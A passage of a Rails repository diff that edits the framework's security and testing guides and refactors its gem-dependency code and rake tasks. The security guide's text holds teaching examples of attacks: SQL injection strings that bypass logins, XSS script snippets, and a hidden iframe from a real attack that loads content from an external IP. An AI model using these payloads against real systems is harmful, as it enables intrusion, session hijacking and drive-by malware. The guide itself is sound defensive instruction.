example: +To avoid this, Rails provides two class methods in your Active Record class to control access to your attributes. The +attr_protected+ method takes a list of attributes that will not be accessible for mass-assignment. For example: <ruby> attr_protected :admin </ruby> -A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of attr_protected, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example: +A much better way, because it follows the whitelist-principle, is the +attr_accessible+ method. It is the exact opposite of +attr_protected+, because _(highlight)it takes a list of attributes that will be accessible_. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example: <ruby> attr_accessible :name @@ -416,7 +432,15 @@ params[:user] #=> {:name => "ow3ned", :admin => true} @user.admin #=> true </ruby> -h3. User management +A more paranoid technique to protect your whole project would be to enforce that all models whitelist their accessible attributes. This can be easily achieved with a very simple initializer: + +<ruby> +ActiveRecord::Base.send(:attr_accessible, nil) +</ruby> + +This will create an empty whitelist of attributes available for mass assignment for all models in your app. As such, your models will need to explicitly whitelist accessible parameters by using an +attr_accessible+ declaration. This technique is best applied at the start of a new project. However, for an existing project with a thorough set of functional tests, it should be straightforward and relatively quick to insert this initializer, run your tests, and expose each attribute (via +attr_accessible+) as dictated by your failing tests. + +h3. User Management -- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._ @@ -443,7 +467,7 @@ SELECT * FROM users WHERE (users.activation_code IS NULL) LIMIT 1 And thus it found the first user in the database, returned it and logged him in. You can find out more about it in "my blog post":http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/. _(highlight)It is advisable to update your plug-ins from time to time_. Moreover, you can review your application to find more flaws like this. -h4. Brute-forcing accounts +h4. Brute-Forcing Accounts -- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._ @@ -455,7 +479,7 @@ However, what most web application designers neglect, are the forgot-password pa In order to mitigate such attacks, _(highlight)display a generic error message on forgot-password pages, too_. Moreover, you can _(highlight)require to enter a CAPTCHA after a number of failed logins from a certain IP address_. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack. -h4. Account hijacking +h4. Account Hijacking -- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_ @@ -508,7 +532,7 @@ By default, Rails logs all requests being made to the web application. But log f filter_parameter_logging :password </ruby> -h4. Good passwords +h4. Good Passwords -- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._ @@ -520,7 +544,7 @@ It is interesting that only 4% of these passwords were dictionary words and the A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the _(highlight)first letters of a sentence that you can easily remember_. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too. -h4. Regular expressions +h4. Regular Expressions -- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ @@ -544,7 +568,7 @@ Whereas %0A is a line feed in URL encoding, so Rails automatically converts it t /\A[\w\.\-\+]+\z/ </ruby> -h4. Privilege escalation +h4. Privilege Escalation -- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._ @@ -605,7 +629,7 @@ SELECT * FROM projects WHERE name = '' OR 1 --' The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records. -h5. Bypassing authorization +h5. Bypassing Authorization Usually a web application includes access control. The user enters his login credentials, the web applications tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. @@ -621,7 +645,7 @@ SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' This will simply find the first record in the database, and grants access to this user. -h5. Unauthorized reading +h5. Unauthorized Reading The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above: @@ -668,7 +692,7 @@ h4. Cross-Site Scripting (XSS) -- _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._ -h5. Entry points +h5. Entry Points An entry point is a vulnerable URL and its parameters where an attacker can start an attack. @@ -676,7 +700,7 @@ The most common entry points are message posts, user comments, and guest books, XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. -During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites "were hacked":http://www.0x000000.com/?i=556 like this, among them the British government, United Nations, and many more high targets. +During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The "Symantec Global Internet Security threat report":http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf also documented 239 browser plug-in vulnerabilities in the last six months of 2007. "Mpack":http://pandalabs.pandasecurity.com/archive/MPack-uncovered_2100_.aspx is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high targets. A relatively new, and unusual, form of entry points are banner advertisements. In earlier 2008, malicious code appeared in banner ads on popular sites, such as MySpace and Excite, according to "Trend Micro":http://blog.trendmicro.com/myspace-excite-and-blick-serve-up-malicious-banner-ads/. @@ -697,7 +721,7 @@ This JavaScript code will simply display an alert box. The next examples do exac <table background="javascript:alert('Hello')"> </html> -h6. Cookie theft +h6. Cookie Theft These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page: @@ -727,7 +751,7 @@ With web page defacement an attacker can do a lot of things, for example, presen <iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> </html> -This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iFrame is taken from an "actual attack":http://www.symantec.com/enterprise/security_response/weblog/2007/06/italy_under_attack_mpack_gang.html on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. +This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the "Mpack attack framework":http://isc.sans.org/diary.html?storyid=3015. Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attackers site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. @@ -772,7 +796,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the "Hackvertor":http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php. Rails‘ sanitize() method does a good job to fend off encoding attacks. -h5. Examples from the underground +h5. Examples from the Underground _In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._ @@ -786,7 +810,7 @@ The following is an excerpt from the "Js.Yamanner@m":http://www.symantec.com/sec The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. -Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details and a video demonstration on "Rosario Valotta's website":http://rosario.valotta.googlepages.com/home. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. +Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on "Rosario Valotta's paper":http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/. Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. In December 2006, 34,000 actual user names and passwords were stolen in a "MySpace phishing attack":http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html. The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. @@ -834,11 +858,10 @@ This example, again, showed that a blacklist filter is never complete. However, h4. Textile Injection --- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://whytheluckystiff.net/ruby/redcloth/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._ +-- _If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. "RedCloth":http://redcloth.org/ is such a language for Ruby, but without precautions, it is also vulnerable to XSS._ For example, RedCloth translates +_test_+ to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the "all-new version 4":http://www.redcloth.org that removed serious bugs. However, even that version has "some security bugs":http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html, so the countermeasures still apply. Here is an example for version 3.0.4: - <ruby> RedCloth.new('<script>alert(1)</script>').to_html # => "<script>alert(1)</script>" @@ -947,7 +970,7 @@ Content-Type: text/html Under certain circumstances this would present the malicious HTML to the victim. However, this seems to work with Keep-Alive connections, only (and many browsers are using one-time connections). But you can't rely on this. _(highlight)In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._ -h3. Additional resources +h3. Additional Resources The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here: @@ -955,7 +978,6 @@ The security landscape shifts and it is important to keep up to date, because mi * Subscribe to the Rails security "mailing list":http://groups.google.com/group/rubyonrails-security * "Keep up to date on the other application layers":http://secunia.com/ (they have a weekly newsletter, too) * A "good security blog":http://ha.ckers.org/blog/ including the "Cross-Site scripting Cheat Sheet":http://ha.ckers.org/xss.html -* Another "good security blog":http://www.0x000000.com/ with some Cheat Sheets, too h3. Changelog diff --git a/railties/guides/source/testing.textile b/railties/guides/source/testing.textile index 9897fbab6f..12fc836edf 100644 --- a/railties/guides/source/testing.textile +++ b/railties/guides/source/testing.textile @@ -20,7 +20,7 @@ h3. Introduction to Testing Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. Just about every Rails application interacts heavily with a database - and, as a result, your tests will need a database to interact with as well. To write efficient tests, you'll need to understand how to set up this database and populate it with sample data. -h4. The 3 Environments +h4. The Three Environments Every Rails application you build has 3 sides: a side for production, a side for development, and a side for testing. @@ -52,7 +52,7 @@ h4. The Low-Down on Fixtures For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures. -h5. What Are Fixtures? +h5. What are Fixtures? _Fixtures_ is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: *YAML* or *CSV*. In this guide we will use *YAML* which is the preferred format. @@ -110,9 +110,9 @@ h5. Fixtures in Action Rails by default automatically loads all fixtures from the 'test/fixtures' folder for your unit and functional test. Loading involves three steps: - * Remove any existing data from the table corresponding to the fixture - * Load the fixture data into the table - * Dump the fixture data into a variable in case you want to access it directly +* Remove any existing data from the table corresponding to the fixture +* Load the fixture data into the table +* Dump the fixture data into a variable in case you want to access it directly h5. Hashes with Special Powers @@ -140,9 +140,9 @@ h3. Unit Testing your Models In Rails, unit tests are what you write to test your models. -For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary. +For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and would be supplementing it with additional examples where necessary. -NOTE: For more information on Rails _scaffolding_, refer to "Getting Started with Rails":../getting_started_with_rails.html +NOTE: For more information on Rails _scaffolding_, refer to "Getting Started with Rails":getting_started.html When you use +script/generate scaffold+, for a resource among other things it creates a test stub in the +test/unit+ folder: @@ -429,7 +429,7 @@ h3. Functional Tests for Your Controllers In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view. -h4. What to include in your Functional Tests +h4. What to Include in your Functional Tests You should test for things such as: @@ -500,7 +500,7 @@ If you're familiar with the HTTP protocol, you'll know that +get+ is a type of r All of request types are methods that you can use, however, you'll probably end up using the first two more often than the others. -h4. The 4 Hashes of the Apocalypse +h4. The Four Hashes of the Apocalypse After a request has been made by using one of the 5 methods (+get+, +post+, etc.) and processed, you will have 4 Hash objects ready for use: @@ -582,9 +582,9 @@ assert_select "ol" do end </ruby> -The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html. +The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its "documentation":http://api.rubyonrails.org/classes/ActionController/Assertions/SelectorAssertions.html. -h5. Additional View-based Assertions +h5. Additional View-Based Assertions There are more assertions that are primarily used in testing views: @@ -631,7 +631,7 @@ end Integration tests inherit from +ActionController::IntegrationTest+. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test. -h4. Helpers Available for Integration tests +h4. Helpers Available for Integration Tests In addition to the standard testing helpers, there are some additional helpers available to integration tests: @@ -741,7 +741,7 @@ You don't need to set up and run your tests by hand on a test-by-test basis. Rai |+rake test:uncommitted+ |Runs all the tests which are uncommitted. Only supports Subversion| |+rake test:plugins+ |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)| -h3. Brief Note About Test::Unit +h3. Brief Note About +Test::Unit+ Ruby ships with a boat load of libraries. One little gem of a library is +Test::Unit+, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in +Test::Unit::Assertions+. The class +ActiveSupport::TestCase+ which we have been using in our unit and functional tests extends +Test::Unit::TestCase+ that it is how we can use all the basic assertions in our tests. @@ -872,7 +872,7 @@ For the purposes of unit testing a mailer, fixtures are used to provide an examp When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself. -h5. The Basic Test case +h5. The Basic Test Case Here's a unit test to test a mailer named +UserMailer+ whose action +invite+ is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an +invite+ action. diff --git a/railties/lib/initializer.rb b/railties/lib/initializer.rb index edea4e513a..a04405a7c2 100644 --- a/railties/lib/initializer.rb +++ b/railties/lib/initializer.rb @@ -301,7 +301,9 @@ module Rails end def load_gems - @configuration.gems.each { |gem| gem.load } + unless $gems_build_rake_task + @configuration.gems.each { |gem| gem.load } + end end def check_gem_dependencies diff --git a/railties/lib/rails/gem_dependency.rb b/railties/lib/rails/gem_dependency.rb index 2dd659032f..3062a77104 100644 --- a/railties/lib/rails/gem_dependency.rb +++ b/railties/lib/rails/gem_dependency.rb @@ -7,8 +7,8 @@ module Gem end module Rails - class GemDependency - attr_accessor :lib, :source + class GemDependency < Gem::Dependency + attr_accessor :lib, :source, :dep def self.unpacked_path @unpacked_path ||= File.join(RAILS_ROOT, 'vendor', 'gems') @@ -29,18 +29,6 @@ module Rails end end - def framework_gem? - @@framework_gems.has_key?(name) - end - - def vendor_rails? - Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.empty? - end - - def vendor_gem? - Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.include?(self.class.unpacked_path) - end - def initialize(name, options = {}) require 'rubygems' unless Object.const_defined?(:Gem) @@ -52,10 +40,11 @@ module Rails req = Gem::Requirement.default end - @dep = Gem::Dependency.new(name, req) @lib = options[:lib] @source = options[:source] @loaded = @frozen = @load_paths_added = false + + super(name, req) end def add_load_paths @@ -65,52 +54,74 @@ module Rails @load_paths_added = @loaded = @frozen = true return end - gem @dep + gem self @spec = Gem.loaded_specs[name] @frozen = @spec.loaded_from.include?(self.class.unpacked_path) if @spec @load_paths_added = true rescue Gem::LoadError end - def dependencies(options = {}) - return [] if framework_gem? || specification.nil? - - all_dependencies = specification.dependencies.map do |dependency| + def dependencies + return [] if framework_gem? + return [] unless installed? + specification.dependencies.reject do |dependency| + dependency.type == :development + end.map do |dependency| GemDependency.new(dependency.name, :requirement => dependency.version_requirements) end + end - all_dependencies += all_dependencies.map { |d| d.dependencies(options) }.flatten if options[:flatten] - all_dependencies.uniq + def specification + # code repeated from Gem.activate. Find a matching spec, or the currently loaded version. + # error out if loaded version and requested version are incompatible. + @spec ||= begin + matches = Gem.source_index.search(self) + matches << @@framework_gems[name] if framework_gem? + if Gem.loaded_specs[name] then + # This gem is already loaded. If the currently loaded gem is not in the + # list of candidate gems, then we have a version conflict. + existing_spec = Gem.loaded_specs[name] + unless matches.any? { |spec| spec.version == existing_spec.version } then + raise Gem::Exception, + "can't activate #{@dep}, already activated #{existing_spec.full_name}" + end + # we're stuck with it, so change to match + version_requirements = Gem::Requirement.create("=#{existing_spec.version}") + existing_spec + else + # new load + matches.last + end + end end - def gem_dir(base_directory) - File.join(base_directory, specification.full_name) + def requirement + r = version_requirements + (r == Gem::Requirement.default) ? nil : r end - def spec_filename(base_directory) - File.join(gem_dir(base_directory), '.specification') + def built? + # TODO: If Rubygems ever gives us a way to detect this, we should use it + false end - def load - return if @loaded || @load_paths_added == false - require(@lib || name) unless @lib == false - @loaded = true - rescue LoadError - puts $!.to_s - $!.backtrace.each { |b| puts b } + def framework_gem? + @@framework_gems.has_key?(name) end - def name - @dep.name.to_s + def frozen? + @frozen ||= vendor_rails? || vendor_gem? end - def requirement - r = @dep.version_requirements - (r == Gem::Requirement.default) ? nil : r + def installed? + Gem.loaded_specs.keys.include?(name) end - def frozen? - @frozen ||= vendor_rails? || vendor_gem? + def load_paths_added? + # always try to add load paths - even if a gem is loaded, it may not + # be a compatible version (ie random_gem 0.4 is loaded and a later spec + # needs >= 0.5 - gem 'random_gem' will catch this and error out) + @load_paths_added end def loaded? @@ -136,48 +147,49 @@ module Rails end end - def load_paths_added? - # always try to add load paths - even if a gem is loaded, it may not - # be a compatible version (ie random_gem 0.4 is loaded and a later spec - # needs >= 0.5 - gem 'random_gem' will catch this and error out) - @load_paths_added + def vendor_rails? + Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.empty? end - def install - cmd = "#{gem_command} #{install_command.join(' ')}" - puts cmd - puts %x(#{cmd}) + def vendor_gem? + specification && File.exists?(unpacked_gem_directory) end - def unpack_to(directory) - return if specification.nil? || File.directory?(gem_dir(directory)) || framework_gem? - - FileUtils.mkdir_p directory - Dir.chdir directory do - Gem::GemRunner.new.run(unpack_command) + def build + require 'rails/gem_builder' + unless built? + return unless File.exists?(unpacked_specification_filename) + spec = YAML::load_file(unpacked_specification_filename) + Rails::GemBuilder.new(spec, unpacked_gem_directory).build_extensions + puts "Built gem: '#{unpacked_gem_directory}'" end - - # Gem.activate changes the spec - get the original - real_spec = Gem::Specification.load(specification.loaded_from) - write_spec(directory, real_spec) - + dependencies.each { |dep| dep.build } end - def write_spec(directory, spec) - # copy the gem's specification into GEMDIR/.specification so that - # we can access information about the gem on deployment systems - # without having the gem installed - File.open(spec_filename(directory), 'w') do |file| - file.puts spec.to_yaml + def install + unless installed? + cmd = "#{gem_command} #{install_command.join(' ')}" + puts cmd + puts %x(#{cmd}) end end - def refresh_spec(directory) + def load + return if @loaded || @load_paths_added == false + require(@lib || name) unless @lib == false + @loaded = true + rescue LoadError + puts $!.to_s + $!.backtrace.each { |b| puts b } + end + + def refresh + Rails::VendorGemSourceIndex.silence_spec_warnings = true real_gems = Gem.source_index.installed_source_index exact_dep = Gem::Dependency.new(name, "= #{specification.version}") matches = real_gems.search(exact_dep) installed_spec = matches.first - if File.exist?(File.dirname(spec_filename(directory))) + if frozen? if installed_spec # we have a real copy # get a fresh spec - matches should only have one element @@ -185,11 +197,11 @@ module Rails # spec is the same as the copy from real_gems - Gem.activate changes # some of the fields real_spec = Gem::Specification.load(matches.first.loaded_from) - write_spec(directory, real_spec) + write_specification(real_spec) puts "Reloaded specification for #{name} from installed gems." else # the gem isn't installed locally - write out our current specs - write_spec(directory, specification) + write_specification(specification) puts "Gem #{name} not loaded locally - writing out current spec." end else @@ -201,42 +213,44 @@ module Rails end end - def ==(other) - self.name == other.name && self.requirement == other.requirement + def unpack(options={}) + unless frozen? || framework_gem? + FileUtils.mkdir_p unpack_base + Dir.chdir unpack_base do + Gem::GemRunner.new.run(unpack_command) + end + # Gem.activate changes the spec - get the original + real_spec = Gem::Specification.load(specification.loaded_from) + write_specification(real_spec) + end + dependencies.each { |dep| dep.unpack } if options[:recursive] end - alias_method :"eql?", :"==" - def hash - @dep.hash + def write_specification(spec) + # copy the gem's specification into GEMDIR/.specification so that + # we can access information about the gem on deployment systems + # without having the gem installed + File.open(unpacked_specification_filename, 'w') do |file| + file.puts spec.to_yaml + end end - def specification - # code repeated from Gem.activate. Find a matching spec, or the currently loaded version. - # error out if loaded version and requested version are incompatible. - @spec ||= begin - matches = Gem.source_index.search(@dep) - matches << @@framework_gems[name] if framework_gem? - if Gem.loaded_specs[name] then - # This gem is already loaded. If the currently loaded gem is not in the - # list of candidate gems, then we have a version conflict. - existing_spec = Gem.loaded_specs[name] - unless matches.any? { |spec| spec.version == existing_spec.version } then - raise Gem::Exception, - "can't activate #{@dep}, already activated #{existing_spec.full_name}" - end - # we're stuck with it, so change to match - @dep.version_requirements = Gem::Requirement.create("=#{existing_spec.version}") - existing_spec - else - # new load - matches.last - end - end + def ==(other) + self.name == other.name && self.requirement == other.requirement end + alias_method :"eql?", :"==" private + def gem_command - RUBY_PLATFORM =~ /win32/ ? 'gem.bat' : 'gem' + case RUBY_PLATFORM + when /win32/ + 'gem.bat' + when /java/ + 'jruby -S gem' + else + 'gem' + end end def install_command @@ -251,5 +265,18 @@ module Rails cmd << "--version" << "= "+specification.version.to_s if requirement cmd end + + def unpack_base + Rails::GemDependency.unpacked_path + end + + def unpacked_gem_directory + File.join(unpack_base, specification.full_name) + end + + def unpacked_specification_filename + File.join(unpacked_gem_directory, '.specification') + end + end end diff --git a/railties/lib/rails/rack/metal.rb b/railties/lib/rails/rack/metal.rb index 78b8a01449..adc43da864 100644 --- a/railties/lib/rails/rack/metal.rb +++ b/railties/lib/rails/rack/metal.rb @@ -18,7 +18,7 @@ module Rails metal_glob.each do |glob| Dir[glob].sort.map do |file| file = file.match(matcher)[1] - all_metals[file.classify] = file + all_metals[file.camelize] = file end end diff --git a/railties/lib/rails/version.rb b/railties/lib/rails/version.rb index fd38705e75..99c7516a65 100644 --- a/railties/lib/rails/version.rb +++ b/railties/lib/rails/version.rb @@ -2,7 +2,7 @@ module Rails module VERSION #:nodoc: MAJOR = 2 MINOR = 3 - TINY = 1 + TINY = 2 STRING = [MAJOR, MINOR, TINY].join('.') end diff --git a/railties/lib/tasks/gems.rake b/railties/lib/tasks/gems.rake index 0932ba73b5..ed07bf2016 100644 --- a/railties/lib/tasks/gems.rake +++ b/railties/lib/tasks/gems.rake @@ -9,71 +9,57 @@ task :gems => 'gems:base' do puts "R = Framework (loaded before rails starts)" end -def print_gem_status(gem, indent=1) - code = gem.loaded? ? (gem.frozen? ? (gem.framework_gem? ? "R" : "F") : "I") : " " - puts " "*(indent-1)+" - [#{code}] #{gem.name} #{gem.requirement.to_s}" - gem.dependencies.each { |g| print_gem_status(g, indent+1)} if gem.loaded? -end - namespace :gems do task :base do $gems_rake_task = true + require 'rubygems' + require 'rubygems/gem_runner' Rake::Task[:environment].invoke end desc "Build any native extensions for unpacked gems" task :build do - $gems_rake_task = true - require 'rails/gem_builder' - Dir[File.join(Rails::GemDependency.unpacked_path, '*')].each do |gem_dir| - spec_file = File.join(gem_dir, '.specification') - next unless File.exists?(spec_file) - specification = YAML::load_file(spec_file) - next unless ENV['GEM'].blank? || ENV['GEM'] == specification.name - Rails::GemBuilder.new(specification, gem_dir).build_extensions - puts "Built gem: '#{gem_dir}'" - end + $gems_build_rake_task = true + Rake::Task['gems:unpack'].invoke + current_gems.each &:build end - desc "Installs all required gems for this application." + desc "Installs all required gems." task :install => :base do - require 'rubygems' - require 'rubygems/gem_runner' - Rails.configuration.gems.each { |gem| gem.install unless gem.loaded? } + current_gems.each &:install end - desc "Unpacks the specified gem into vendor/gems." - task :unpack => :base do - require 'rubygems' - require 'rubygems/gem_runner' - Rails.configuration.gems.each do |gem| - next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name - gem.unpack_to(Rails::GemDependency.unpacked_path) - end + desc "Unpacks all required gems into vendor/gems." + task :unpack => :install do + current_gems.each &:unpack end namespace :unpack do - desc "Unpacks the specified gems and its dependencies into vendor/gems" - task :dependencies => :unpack do - require 'rubygems' - require 'rubygems/gem_runner' - Rails.configuration.gems.each do |gem| - next unless ENV['GEM'].blank? || ENV['GEM'] == gem.name - gem.dependencies(:flatten => true).each do |dependency| - dependency.unpack_to(Rails::GemDependency.unpacked_path) - end - end + desc "Unpacks all required gems and their dependencies into vendor/gems." + task :dependencies => :install do + current_gems.each { |gem| gem.unpack(:recursive => true) } end end desc "Regenerate gem specifications in correct format." task :refresh_specs => :base do - require 'rubygems' - require 'rubygems/gem_runner' - Rails::VendorGemSourceIndex.silence_spec_warnings = true - Rails.configuration.gems.each do |gem| - next unless gem.frozen? && (ENV['GEM'].blank? || ENV['GEM'] == gem.name) - gem.refresh_spec(Rails::GemDependency.unpacked_path) if gem.loaded? - end + current_gems.each &:refresh + end +end + +def current_gems + gems = Rails.configuration.gems + gems = gems.select { |gem| gem.name == ENV['GEM'] } unless ENV['GEM'].blank? + gems +end + +def print_gem_status(gem, indent=1) + code = case + when gem.framework_gem? then 'R' + when gem.frozen? then 'F' + when gem.installed? then 'I' + else ' ' end -end
\ No newline at end of file + puts " "*(indent-1)+" - [#{code}] #{gem.name} #{gem.requirement.to_s}" + gem.dependencies.each { |g| print_gem_status(g, indent+1) } +end diff --git a/railties/test/boot_test.rb b/railties/test/boot_test.rb index 16776af098..08fcc82e6f 100644 --- a/railties/test/boot_test.rb +++ b/railties/test/boot_test.rb @@ -62,6 +62,8 @@ class VendorBootTest < Test::Unit::TestCase def test_load_initializer_requires_from_vendor_rails boot = VendorBoot.new boot.expects(:require).with("#{RAILS_ROOT}/vendor/rails/railties/lib/initializer") + Rails::Initializer.expects(:run).with(:install_gem_spec_stubs) + Rails::GemDependency.expects(:add_frozen_gem_path) boot.load_initializer end end diff --git a/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb b/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb index b8e7001351..2d373ce422 100644 --- a/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb +++ b/railties/test/fixtures/metal/multiplemetals/app/metal/metal_a.rb @@ -1,5 +1,5 @@ class MetalA < Rails::Rack::Metal def self.call(env) - [200, { "Content-Type" => "text/html"}, "Hi"] + [200, { "Content-Type" => "text/html"}, ["Hi"]] end end diff --git a/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb b/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb index adc2f45fcf..a8bbf3fd60 100644 --- a/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb +++ b/railties/test/fixtures/metal/multiplemetals/app/metal/metal_b.rb @@ -1,5 +1,5 @@ class MetalB < Rails::Rack::Metal def self.call(env) - [200, { "Content-Type" => "text/html"}, "Hi"] + [200, { "Content-Type" => "text/html"}, ["Hi"]] end end diff --git a/railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb b/railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb new file mode 100644 index 0000000000..0cd3737c32 --- /dev/null +++ b/railties/test/fixtures/metal/pluralmetal/app/metal/legacy_routes.rb @@ -0,0 +1,5 @@ +class LegacyRoutes < Rails::Rack::Metal + def self.call(env) + [301, { "Location" => "http://example.com"}, []] + end +end diff --git a/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb b/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb index 9ade2ce8e7..5f5b087592 100644 --- a/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb +++ b/railties/test/fixtures/metal/singlemetal/app/metal/foo_metal.rb @@ -1,5 +1,5 @@ class FooMetal < Rails::Rack::Metal def self.call(env) - [200, { "Content-Type" => "text/html"}, "Hi"] + [200, { "Content-Type" => "text/html"}, ["Hi"]] end end diff --git 